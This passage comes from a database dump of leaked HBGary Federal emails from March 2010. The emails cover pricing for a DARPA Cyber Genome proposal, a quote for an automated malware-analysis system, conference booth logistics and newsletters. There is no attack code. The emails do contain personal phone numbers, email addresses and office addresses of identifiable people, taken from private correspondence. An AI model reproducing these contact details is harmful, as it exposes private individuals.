-irby\r\n> \r\n> \r\n> \r\n> On Mar 24, 2010, at 5:14 PM, Aaron Barr wrote:\r\n> \r\n>> All,\r\n>> \r\n>> Sorry to keep filling up your in boxes but some of you have asked for the most recent version I am integrating...here it is.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3082,'aaron_hbgary_com/3082.html'),(4479,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002590.M176021P3547Q4479.eml','\"Aaron Barr\" <aaron@hbgary.com>','Jose / TMC','Got a voicemail from Jose, asking for a quote for what it would take\r\n(engineering hours / bill of materials) to develop a mini TMC, that\r\nwould allow them to automatically analyze malware for their customer\r\norganization.  We need to get it to him fairly quick so he can secure\r\nthe funds.\r\n\r\n\r\nTed\r\n',10228,'aaron_hbgary_com/10228.html'),(4480,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002590.M450922P3547Q4480.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Jose / TMC','K sounds good.  Pitch training too.\r\n\r\n From my iPhone\r\n\r\nOn Mar 24, 2010, at 7:22 PM, Ted Vera  wrote:\r\n\r\n> Got a voicemail from Jose, asking for a quote for what it would take\r\n> (engineering hours / bill of materials) to develop a mini TMC, that\r\n> would allow them to automatically analyze malware for their customer\r\n> organization.  We need to get it to him fairly quick so he can secure\r\n> the funds.\r\n>\r\n>\r\n> Ted\r\n',11751,'aaron_hbgary_com/11751.html'),(4481,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002591.M597948P3547Q4481.eml','\"Aaron Barr\" <aaron@hbgary.com>','Org Chart Draft','Attached...\r\n\r\nTed\r\n',1310,'aaron_hbgary_com/1310.html'),(4482,'2010-03-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002591.M812227P3547Q4482.eml','\"Jose Sandoval\" <jose.sandoval@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Voicemail','Hi Jose,\r\n\r\nGot your voicemail.  I will put together a quote for the engineering\r\nhours and a bill of required materials (hopefully you\'ll already have\r\nmost if not all of what is needed).  To help me develop the price, can\r\nyou tell me the scale you are trying to achieve?  i.e. how many malware\r\nsamples would you like to be able to automatically reverse engineer per\r\nday?  Would 1000 per day make a significant dent in the pile of malware\r\nyou are working on and provide a nice discriminator for the proposal?\r\n\r\nTed\r\n',762,'aaron_hbgary_com/762.html'),(4483,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002592.M221055P3547Q4484.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Pricing','Bob,\r\n\r\nAnother reason why I need Greg and Martin to work on the SMART writup.  That is the one task area that HBGary proper is leading, so HBGary needs to own that task and price it appropriately.  The other tasks will be support and we can work the hours so they work.  I don\'t exactly know what it will take to do that task over the 4 years.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15169,'aaron_hbgary_com/15169.html'),(4484,'2010-03-25','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297002592.M25110P3547Q4483.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: Breakfast at Panjshir II @ Wed Jan 6 11:30am - 1pm 	(aaron@hbgary.com)','Matt O&#39;Flynn has declined this invitation.Breakfast at Panjshir IIPanjshir II Restaurant224 Maple Avenue WestVienna, VA 22180-5605(703) 281-4183Link: &lt;http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=panjshir&amp;sll=38.901222,-77.26526&amp;sspn=0.040345,0.068665&amp;g=vienna,+va&amp;ie=UTF8&amp;hq=panjshir&amp;hnear=Vienna,+VA&amp;ll=38.90132,-77.265301&amp;spn=0.040345,0.068665&amp;z=14&amp;iwloc=A&amp;cid=6048369307564912943&gt;WhenWed Jan 6 11:30am – 1pm Eastern TimeWherePanjshir II (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;Matt O&#39;FlynnInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3270,'aaron_hbgary_com/3270.html'),(4485,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002592.M483803P3547Q4485.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Voicemail','give me a call.\r\n\r\nOn Mar 24, 2010, at 8:02 PM, Ted Vera wrote:\r\n\r\n> Hi Jose,\r\n> \r\n> Got your voicemail.  I will put together a quote for the engineering\r\n> hours and a bill of required materials (hopefully you\'ll already have\r\n> most if not all of what is needed).  To help me develop the price, can\r\n> you tell me the scale you are trying to achieve?  i.e. how many malware\r\n> samples would you like to be able to automatically reverse engineer per\r\n> day?  Would 1000 per day make a significant dent in the pile of malware\r\n> you are working on and provide a nice discriminator for the proposal?\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16199,'aaron_hbgary_com/16199.html'),(4486,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002592.M750071P3547Q4486.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Support','Hi Mike,\r\n\r\nI know this is short notice but do you have a few hours this week or weekend to review a proposal?\r\n\r\nNeed to catch up.  I have been heads down in this DARPA proposal for the last 3 weeks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4347,'aaron_hbgary_com/4347.html'),(4487,'2010-03-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002592.M962394P3547Q4487.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Pricing','Aaron,\r\n\r\nI spoke with Martin today.  He had a deliverable to finish today but said he\r\ncould focus on the proposal on Thursday.  I\'ll work on Greg and Penny to get\r\n1-2 hours from Greg too.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 9:08 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Pricing\r\n\r\nBob,\r\n\r\nAnother reason why I need Greg and Martin to work on the SMART writup.  That\r\nis the one task area that HBGary proper is leading, so HBGary needs to own\r\nthat task and price it appropriately.  The other tasks will be support and\r\nwe can work the hours so they work.  I don\'t exactly know what it will take\r\nto do that task over the 4 years.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10\r\n15:33:00\r\n\r\n',4434,'aaron_hbgary_com/4434.html'),(4488,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002593.M162259P3547Q4488.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Pricing','great.\r\n\r\nOn Mar 24, 2010, at 9:58 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> I spoke with Martin today.  He had a deliverable to finish today but said he\r\n> could focus on the proposal on Thursday.  I\'ll work on Greg and Penny to get\r\n> 1-2 hours from Greg too.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 24, 2010 9:08 PM\r\n> To: Bob Slapnik\r\n> Cc: Ted Vera\r\n> Subject: Pricing\r\n> \r\n> Bob,\r\n> \r\n> Another reason why I need Greg and Martin to work on the SMART writup.  That\r\n> is the one task area that HBGary proper is leading, so HBGary needs to own\r\n> that task and price it appropriately.  The other tasks will be support and\r\n> we can work the hours so they work.  I don\'t exactly know what it will take\r\n> to do that task over the 4 years.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/24/10\r\n> 15:33:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12692,'aaron_hbgary_com/12692.html'),(4489,'2010-03-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002596.M312190P3547Q4489.eml','\"Aaron Barr\" <aaron@hbgary.com>','Proposal with Bob additions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSee attached.&nbsp; Here is what I did&#8230;&#8230;..\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nShortened commercialization text in section\r\nII.B.2 (but it is now a mini duplicate of III.B.)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRewrote Section II.D.2 Technical Rationale\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRewrote first paragraph of section II.D.2 Tech\r\nApproach and Constructive Plan\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSmall change to Greg&#8217;s bio\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWrote III.B Description of the Results\r\n\r\n&nbsp;\r\n\r\nI did a quick read of section&nbsp; III.D. on BRAIN.&nbsp; This\r\nsection is not ready for prime time.&nbsp; I hate the paragraph with the deck\r\nof cards analogy. &nbsp;Paragraphs 2-5 read like they were taken from a text\r\nbook on the subject.&nbsp; Left me totally cold.&nbsp; The dialogue must\r\npertain precisely to the topics of the proposal, not something else.&nbsp; I\r\nthink we should borrow content from HBGary&#8217;s past proposals (3 of them)\r\nwhere we (SAIC) wrote a lot about Bayesian Networks.&nbsp; If you want I can\r\ntake on this project and write a more convincing story.\r\n\r\n&nbsp;\r\n\r\nA weakness of our proposal is that we haven&#8217;t pointed\r\nto any AI or Bayesian expertise.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13399,'aaron_hbgary_com/13399.html'),(4490,'2010-03-25','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002597.M341466P3547Q4490.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Spreadsheet for delivery of cost proposal - Please confirm this is the correct one','Ted,\r\n\r\nWe have our cost proposal for TA3 finished. I assume you want it in an\r\nHBGary format. Before we spend a lot of time doing that, please confirm\r\nthat the attached is the correct format.\r\n\r\nThanks,\r\n\r\nAnita\r\n\r\nAnita D\'Amico, Ph.D.\r\nApplied Visions, Inc. (AVI) \r\nDirector, Secure Decisions Division\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\nhttp://SecureDecisions.avi.com\r\nCentral office (631) 754-4920 \r\nNew direct line (631) 759-3909\r\n\r\n\r\n',8488,'aaron_hbgary_com/8488.html'),(4491,'2010-03-25','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297002597.M628477P3547Q4491.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: JTF-GNO','Hi Aaron\r\n \r\nThe booth was shipped to the hotel to arrive April 5th in the morning.\r\n \r\nThere are 2 lights with the booth and one needs a new lightbulb.\r\n \r\nThe monitor is broken... you will have to bring one to the show.\r\n \r\nMaria\r\nOn Wed, Mar 24, 2010 at 8:41 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Maria, \r\n\r\nAre u shipping the booth.  I just got the below information.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\nDate: March 24, 2010 10:46:13 AM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\nSubject: RE: JTF-GNO\r\n\r\n\r\nHi Aaron,\r\n \r\nIf it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.  Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.\r\n\r\n \r\nOur office mailing address is:\r\n\r\n1660 International Dr., Suite 800\r\n\r\nMcLean, VA 22102\r\n \r\nLet me know if you decide to mail it here so I can keep an eye out for it.\r\n\r\n \r\nThanks,\r\nTim\r\n \r\nPS. Also attached the conference partner guide for your reference.\r\n\r\n \r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 9:03 PMTo: Matthew SteckmanCc: Timothy RonanSubject: Re: JTF-GNO\r\n \r\nThanks Matt.\r\n\r\n \r\n\r\nI will have more time once the DARPA proposal is in on Monday.  Right now my brain is full with Cyber Genome.\r\n\r\n \r\n\r\nTim.  What should I do about our booth?  Right now it is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n \r\n\r\nIn terms of booth stuff, Ive CCed Tim…..he’ll know best.\r\n\r\n\r\n \r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 5:23 PMTo: Matthew SteckmanSubject: Re: JTF-GNO\r\n\r\n \r\n\r\n\r\nHey Matt.  Let me see what I can dig up.  Jtf would be am interesting deployment.  I think I may have let a few government contacts.  Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n \r\n\r\n\r\nWhat address should I give the cpany for our booth?  Or do u supply booths?\r\n\r\n\r\n \r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n \r\n\r\n\r\nAaronFrom my iPhone\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.  Im wondering if you still have any connections there and might set up a short briefing for us.  Federal leadership is obviously preferred, but any foot in the door would be appreciated.  We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.  We’d obviously mention our HBGary connections as well. \r\n\r\n\r\n \r\n\r\nLet me know what you think.\r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n \r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',12442,'aaron_hbgary_com/12442.html'),(4492,'2010-03-25','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002597.M879051P3547Q4492.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Support','Aaron,Yes, later on Friday afternoon and/or Saturday.  On site or can you e-mail to me?Probably best that you send me a consulting agreement and NDA, but since it&#39;s a rush, we can work the details later.  Just let me know maximum number of hours I could devote to it.\r\nMikeOn Wed, Mar 24, 2010 at 9:33 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Mike,\r\n\r\nI know this is short notice but do you have a few hours this week or weekend to review a proposal?\r\n\r\nNeed to catch up.  I have been heads down in this DARPA proposal for the last 3 weeks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',10687,'aaron_hbgary_com/10687.html'),(4493,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002598.M318681P3547Q4494.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Support','From my iPhoneBegin forwarded message:From: MB Toth &lt;mbt.rbtoth@gmail.com&gt;\r\nDate: March 24, 2010 11:01:40 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Support\r\nAaron,Yes, later on Friday afternoon and/or Saturday.  On site or can you e-mail to me?Probably best that you send me a consulting agreement and NDA, but since it&#39;s a rush, we can work the details later.  Just let me know maximum number of hours I could devote to it.\r\n\r\nMikeOn Wed, Mar 24, 2010 at 9:33 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Mike,\r\n\r\nI know this is short notice but do you have a few hours this week or weekend to review a proposal?\r\n\r\nNeed to catch up.  I have been heads down in this DARPA proposal for the last 3 weeks.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n\r\n',7868,'aaron_hbgary_com/7868.html'),(4494,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002598.M536489P3547Q4495.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Proposal with Bob additions','Thanks Bob. &nbsp;I agree on Brain. &nbsp;Its a combination of what Martin and Mark have written and I am not happy with it.On Mar 24, 2010, at 10:14 PM, Bob Slapnik wrote:Aaron,&nbsp;See attached.&nbsp; Here is what I did……..·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shortened commercialization text in section II.B.2 (but it is now a mini duplicate of III.B.)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Rewrote Section II.D.2 Technical Rationale·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Rewrote first paragraph of section II.D.2 Tech Approach and Constructive Plan·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Small change to Greg’s bio·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wrote III.B Description of the Results&nbsp;I did a quick read of section&nbsp; III.D. on BRAIN.&nbsp; This section is not ready for prime time.&nbsp; I hate the paragraph with the deck of cards analogy. &nbsp;Paragraphs 2-5 read like they were taken from a text book on the subject.&nbsp; Left me totally cold.&nbsp; The dialogue must pertain precisely to the topics of the proposal, not something else.&nbsp; I think we should borrow content from HBGary’s past proposals (3 of them) where we (SAIC) wrote a lot about Bayesian Networks.&nbsp; If you want I can take on this project and write a more convincing story.&nbsp;A weakness of our proposal is that we haven’t pointed to any AI or Bayesian expertise.&nbsp;Bob&nbsp;&lt;Cyber Genome TA3 Volume I_DRAFT Bob changes.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13201,'aaron_hbgary_com/13201.html'),(4495,'2010-03-25','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297002598.M97439P3547Q4493.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 3/24/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Mar 17 - Mar 24\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n                        Sid Fuchs became Board of Directors and Audit Committee at Camber Corporation in January 2010\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Chris Collins has an updated profile (Specialties)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Brian Girardi has an updated profile (Experience, Education)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Johna Copeland\r\n    is now connected to\r\n        Kevin Fanberg\r\n              \r\n            \r\n            \r\n              \r\n\r\n  David Lirette\r\n    is now connected to\r\n        Kevin Fanberg\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Gil Vega\r\nis now connected to\r\n            Rolf Moulton\r\n,             Devon Bryan, CISSP\r\n,             Paul Gibson\r\n,       and 4 other people.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Charles Moore died, influential in changing the Old South in the 60\'s with the impact of his photos - http://nyti.ms/97UFf9\r\n  Add a comment\r\n  \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    530 Inc\r\n              \r\n            \r\n            \r\n              \r\n\r\n    David Etue has joined\r\n    CSFI-CWD (CYBER WARFARE DIVISION)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Eric Hallam was recommended by\r\ncolleague      Danny Brown\r\n        Eric Hallam is one individual that I would hire confident that I will get effort, skill, all his exp...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Guy Mincey recommends\r\ncolleague      Brian Chaney\r\n          CTO/Executive VP of Media Technology at AFCEA Energy\r\n        Brian Chaney serves as the CTO for the newly branded AFCEA Energy Chapter. From a technological pers...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Eric Hallam was recommended by\r\ncolleague      Vince Benavente\r\n        Eric is the consummate professional - hands down!!!.  I had the pleasure of working with Eric on sev...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Chris Collins\r\n                  \r\n                     added new presentations from \r\n                  \r\n                    SlideShare.net\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',753,'aaron_hbgary_com/753.html'),(4496,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002602.M83303P3547Q4496.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SOW Mods','Cost for Pikewerks\r\n\r\nBegin forwarded message:\r\n\r\n> From: Adam Fraser \r\n> Date: March 10, 2010 11:50:39 AM EST\r\n> To: Aaron Barr \r\n> Cc: Irby Thompson , Ted Vera \r\n> Subject: Re: SOW Mods\r\n> \r\n> Aaron,\r\n> \r\n> Attached are the docs I believe you\'ll need.  Please let me know if you\r\n> need me to do something else with these (like upload them Google docs\r\n> instead).  I figured you were using some of the same formatting as GD\r\n> and I didn\'t want that to be lost upon upload.\r\n> \r\n> Also, I had completed the cost sheet before getting the updated SOW.  I\r\n> updated the tasks to match the new SOW, but they aren\'t in order.  I\r\n> thought that would be better than taking time to update the entire\r\n> sheet.  We also used the same travel costs we used for Task 1.\r\n> \r\n> Finally, we never really talked specific cost.  If these numbers\r\n> surprise you, please give me a ring.  Cover letter is coming.  Can I get\r\n> your full address?\r\n> \r\n> Again, let me know what else I can do to help.\r\n> -- Adam\r\n> \r\n> \r\n> \r\n> On 3/10/10 9:44 AM, Aaron Barr wrote:\r\n>> Hey Guys,\r\n>> \r\n>> Please review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some.  We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n>> \r\n>> Lead Sheet to follow in a few hours. with listed tasks.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13965,'aaron_hbgary_com/13965.html'),(4497,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002620.M351505P3547Q4497.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: 2nd Draft RFP','Revision of Costs for Pikewerks\r\n\r\nBegin forwarded message:\r\n\r\n> From: Adam Fraser \r\n> Date: March 18, 2010 10:58:00 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Irby Thompson \r\n> Subject: Re: 2nd Draft RFP\r\n> \r\n> Aaron,\r\n> \r\n> Here is the sanitized cost proposal for Task 3 for Pikewerks.  It has\r\n> been updated using GDAIS\' latest template (to include travel).\r\n> \r\n> Thanks\r\n> -- Adam\r\n> \r\n> On 3/18/10 12:47 AM, Aaron Barr wrote:\r\n>> Guys,\r\n>> \r\n>> Attached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n>> \r\n>> Thanks\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2315,'aaron_hbgary_com/2315.html'),(4498,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002620.M585583P3547Q4498.eml','\"Ted Vera\" <ted@hbgary.com>','Costs','So you have:\r\nGD\r\nPikewerks\r\n\r\nthats it so far?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12436,'aaron_hbgary_com/12436.html'),(4499,'2010-03-25','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297002621.M285573P3547Q4499.eml','aaron@hbgary.com','Transforming the Internal IT Environment: a Conversation with Bernie McVey','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonMarch 25,\r\n 2010Transforming the Internal IT Environment: a\r\n Conversation with Bernie\r\n McVeyA central tenet\r\n in the business \r\nworld is to ensure that operations are being conducting in the fastest, \r\nsmartest possible way. Northrop Grumman is currently working to \r\ntransform the internal IT environment \"to create a more performance \r\nbased culture in the company,\" according to vice president and chief \r\ninformation officer Bernie\r\n McVey.Click Here to Read More\r\n Leaks on Internet a Threat to \r\nNational Security\r\n The U.S. Army views Wikileaks.org, a website that \r\npublishes \"secret\" government and corporate documents,\r\n as a\r\n potential threat to \r\nnational security and has made plans to marginalize the website\'s \r\neffectiveness. Click Here to Read\r\n MoreNew PCI Regulations Mean New \r\nCostsAccording to a 2008 GAO\r\n report, the \r\ngovernment employees closest to the PCI\r\n situation, DoD program\r\n managers, generally agree that standard \r\nsafeguards are needed for contractor employees participating in the \r\nacquisition process. Click Here to Read\r\n More\r\nHitting Where It Hurts: Economic\r\n TerrorismTerrorists are not just looking to kill as many Westerners as\r\n possible, they are also looking to paralyze and disrupt Western economies,\r\n according to Professor Gabriel Weimann, a researcher at the University of\r\n Haifa.\r\n Click Here to Read\r\n MoreChertoff Group Announces New\r\n AdditionsThe Chertoff\r\n Group announced today five key additions to its leadership team. These individuals\r\n bring experience in the areas of bio defense, cybersecurity, intelligence, border\r\n and transportation security, risk management and 